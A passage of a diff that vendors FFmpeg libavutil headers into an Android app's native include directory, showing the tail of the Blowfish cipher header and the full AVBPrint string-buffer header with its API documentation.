+ * @ingroup lavu_crypto
+ * @{
+ */
+
+#define AV_BF_ROUNDS 16
+
+typedef struct AVBlowfish {
+    uint32_t p[AV_BF_ROUNDS + 2];
+    uint32_t s[4][256];
+} AVBlowfish;
+
+/**
+ * Allocate an AVBlowfish context.
+ */
+AVBlowfish *av_blowfish_alloc(void);
+
+/**
+ * Initialize an AVBlowfish context.
+ *
+ * @param ctx an AVBlowfish context
+ * @param key a key
+ * @param key_len length of the key
+ */
+void av_blowfish_init(struct AVBlowfish *ctx, const uint8_t *key, int key_len);
+
+/**
+ * Encrypt or decrypt a buffer using a previously initialized context.
+ *
+ * @param ctx an AVBlowfish context
+ * @param xl left four bytes halves of input to be encrypted
+ * @param xr right four bytes halves of input to be encrypted
+ * @param decrypt 0 for encryption, 1 for decryption
+ */
+void av_blowfish_crypt_ecb(struct AVBlowfish *ctx, uint32_t *xl, uint32_t *xr,
+                           int decrypt);
+
+/**
+ * Encrypt or decrypt a buffer using a previously initialized context.
+ *
+ * @param ctx an AVBlowfish context
+ * @param dst destination array, can be equal to src
+ * @param src source array, can be equal to dst
+ * @param count number of 8 byte blocks
+ * @param iv initialization vector for CBC mode, if NULL ECB will be used
+ * @param decrypt 0 for encryption, 1 for decryption
+ */
+void av_blowfish_crypt(struct AVBlowfish *ctx, uint8_t *dst, const uint8_t *src,
+                       int count, uint8_t *iv, int decrypt);
+
+/**
+ * @}
+ */
+
+#endif /* AVUTIL_BLOWFISH_H */

app/src/main/jniLibs/arm64-v8a/include/libavutil/bprint.h

@@ -0,0 +1,254 @@
+/*
+ * Copyright (c) 2012 Nicolas George
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+/**
+ * @file
+ * @ingroup lavu_avbprint
+ * AVBPrint public header
+ */
+
+#ifndef AVUTIL_BPRINT_H
+#define AVUTIL_BPRINT_H
+
+#include <stdarg.h>
+
+#include "attributes.h"
+#include "avstring.h"
+
+/**
+ * @defgroup lavu_avbprint AVBPrint
+ * @ingroup lavu_data
+ *
+ * A buffer to print data progressively
+ * @{
+ */
+
+/**
+ * Define a structure with extra padding to a fixed size
+ * This helps ensuring binary compatibility with future versions.
+ */
+
+#define FF_PAD_STRUCTURE(name, size, ...) \
+struct ff_pad_helper_##name { __VA_ARGS__ }; \
+typedef struct name { \
+    __VA_ARGS__ \
+    char reserved_padding[size - sizeof(struct ff_pad_helper_##name)]; \
+} name;
+
+/**
+ * Buffer to print data progressively
+ *
+ * The string buffer grows as necessary and is always 0-terminated.
+ * The content of the string is never accessed, and thus is
+ * encoding-agnostic and can even hold binary data.
+ *
+ * Small buffers are kept in the structure itself, and thus require no
+ * memory allocation at all (unless the contents of the buffer is needed
+ * after the structure goes out of scope). This is almost as lightweight as
+ * declaring a local `char buf[512]`.
+ *
+ * The length of the string can go beyond the allocated size: the buffer is
+ * then truncated, but the functions still keep account of the actual total
+ * length.
+ *
+ * In other words, AVBPrint.len can be greater than AVBPrint.size and records
+ * the total length of what would have been to the buffer if there had been
+ * enough memory.
+ *
+ * Append operations do not need to be tested for failure: if a memory
+ * allocation fails, data stop being appended to the buffer, but the length
+ * is still updated. This situation can be tested with
+ * av_bprint_is_complete().
+ *
+ * The AVBPrint.size_max field determines several possible behaviours:
+ * - `size_max = -1` (= `UINT_MAX`) or any large value will let the buffer be
+ *   reallocated as necessary, with an amortized linear cost.
+ * - `size_max = 0` prevents writing anything to the buffer: only the total
+ *   length is computed. The write operations can then possibly be repeated in
+ *   a buffer with exactly the necessary size
+ *   (using `size_init = size_max = len + 1`).
+ * - `size_max = 1` is automatically replaced by the exact size available in the
+ *   structure itself, thus ensuring no dynamic memory allocation. The
+ *   internal buffer is large enough to hold a reasonable paragraph of text,
+ *   such as the current paragraph.
+ */
+
+FF_PAD_STRUCTURE(AVBPrint, 1024,
+    char *str;         /**< string so far */
+    unsigned len;      /**< length so far */
+    unsigned size;     /**< allocated memory */
+    unsigned size_max; /**< maximum allocated memory */
+    char reserved_internal_buffer[1];
+)
+
+/**
+ * @name Max size special values
+ * Convenience macros for special values for av_bprint_init() size_max
+ * parameter.
+ * @{
+ */
+
+/**
+ * Buffer will be reallocated as necessary, with an amortized linear cost.
+ */
+#define AV_BPRINT_SIZE_UNLIMITED  ((unsigned)-1)
+/**
+ * Use the exact size available in the AVBPrint structure itself.
+ *
+ * Thus ensuring no dynamic memory allocation. The internal buffer is large
+ * enough to hold a reasonable paragraph of text, such as the current paragraph.
+ */
+#define AV_BPRINT_SIZE_AUTOMATIC  1
+/**
+ * Do not write anything to the buffer, only calculate the total length.
+ *
+ * The write operations can then possibly be repeated in a buffer with
+ * exactly the necessary size (using `size_init = size_max = AVBPrint.len + 1`).
+ */
+#define AV_BPRINT_SIZE_COUNT_ONLY 0
+/** @} */
+
+/**
+ * Init a print buffer.
+ *
+ * @param buf        buffer to init
+ * @param size_init  initial size (including the final 0)
+ * @param size_max   maximum size;
+ *                   - `0` means do not write anything, just count the length
+ *                   - `1` is replaced by the maximum value for automatic storage
+ *                       any large value means that the internal buffer will be
+ *                       reallocated as needed up to that limit
+ *                   - `-1` is converted to `UINT_MAX`, the largest limit possible.
+ *                   Check also `AV_BPRINT_SIZE_*` macros.
+ */
+void av_bprint_init(AVBPrint *buf, unsigned size_init, unsigned size_max);
+
+/**
+ * Init a print buffer using a pre-existing buffer.
+ *
+ * The buffer will not be reallocated.
+ * In case size equals zero, the AVBPrint will be initialized to use
+ * the internal buffer as if using AV_BPRINT_SIZE_COUNT_ONLY with
+ * av_bprint_init().
+ *
+ * @param buf     buffer structure to init
+ * @param buffer  byte buffer to use for the string data
+ * @param size    size of buffer
+ */
+void av_bprint_init_for_buffer(AVBPrint *buf, char *buffer, unsigned size);
+
+/**
+ * Append a formatted string to a print buffer.
+ */
+void av_bprintf(AVBPrint *buf, const char *fmt, ...) av_printf_format(2, 3);
+
+/**
+ * Append a formatted string to a print buffer.
+ */
+void av_vbprintf(AVBPrint *buf, const char *fmt, va_list vl_arg);
+
+/**
+ * Append char c n times to a print buffer.
+ */
+void av_bprint_chars(AVBPrint *buf, char c, unsigned n);
+
+/**
+ * Append data to a print buffer.
+ *
+ * @param buf  bprint buffer to use
+ * @param data pointer to data
+ * @param size size of data
+ */
+void av_bprint_append_data(AVBPrint *buf, const char *data, unsigned size);
+
+struct tm;
+/**
+ * Append a formatted date and time to a print buffer.
+ *
+ * @param buf  bprint buffer to use
+ * @param fmt  date and time format string, see strftime()
+ * @param tm   broken-down time structure to translate
+ *
+ * @note due to poor design of the standard strftime function, it may
+ * produce poor results if the format string expands to a very long text and
+ * the bprint buffer is near the limit stated by the size_max option.
+ */
+void av_bprint_strftime(AVBPrint *buf, const char *fmt, const struct tm *tm);
+
+/**
+ * Allocate bytes in the buffer for external use.
+ *
+ * @param[in]  buf          buffer structure
+ * @param[in]  size         required size
+ * @param[out] mem          pointer to the memory area
+ * @param[out] actual_size  size of the memory area after allocation;
+ *                          can be larger or smaller than size
+ */
+void av_bprint_get_buffer(AVBPrint *buf, unsigned size,
+                          unsigned char **mem, unsigned *actual_size);
+
+/**
+ * Reset the string to "" but keep internal allocated data.
+ */
+void av_bprint_clear(AVBPrint *buf);
+
+/**
+ * Test if the print buffer is complete (not truncated).
+ *
+ * It may have been truncated due to a memory allocation failure
+ * or the size_max limit (compare size and size_max if necessary).
+ */
+static inline int av_bprint_is_complete(const AVBPrint *buf)
+{
+    return buf->len < buf->size;
+}
+
+/**
+ * Finalize a print buffer.
+ *
+ * The print buffer can no longer be used afterwards,
+ * but the len and size fields are still valid.
+ *
+ * @arg[out] ret_str  if not NULL, used to return a permanent copy of the
+ *                    buffer contents, or NULL if memory allocation fails;
+ *                    if NULL, the buffer is discarded and freed
+ * @return  0 for success or error code (probably AVERROR(ENOMEM))
+ */
+int av_bprint_finalize(AVBPrint *buf, char **ret_str);
+
+/**
+ * Escape the content in src and append it to dstbuf.
+ *
+ * @param dstbuf        already inited destination bprint buffer
+ * @param src           string containing the text to escape
+ * @param special_chars string containing the special characters which
+ *                      need to be escaped, can be NULL
+ * @param mode          escape mode to employ, see AV_ESCAPE_MODE_* macros.
+ *                      Any unknown value for mode will be considered equivalent to
+ *                      AV_ESCAPE_MODE_BACKSLASH, but this behaviour can change without
+ *                      notice.
+ * @param flags         flags which control how to escape, see AV_ESCAPE_FLAG_* macros
+ */
+void av_bprint_escape(AVBPrint *dstbuf, const char *src, const char *special_chars,
+                      enum AVEscapeMode mode, int flags);
+
+/** @} */
+
+#endif /* AVUTIL_BPRINT_H */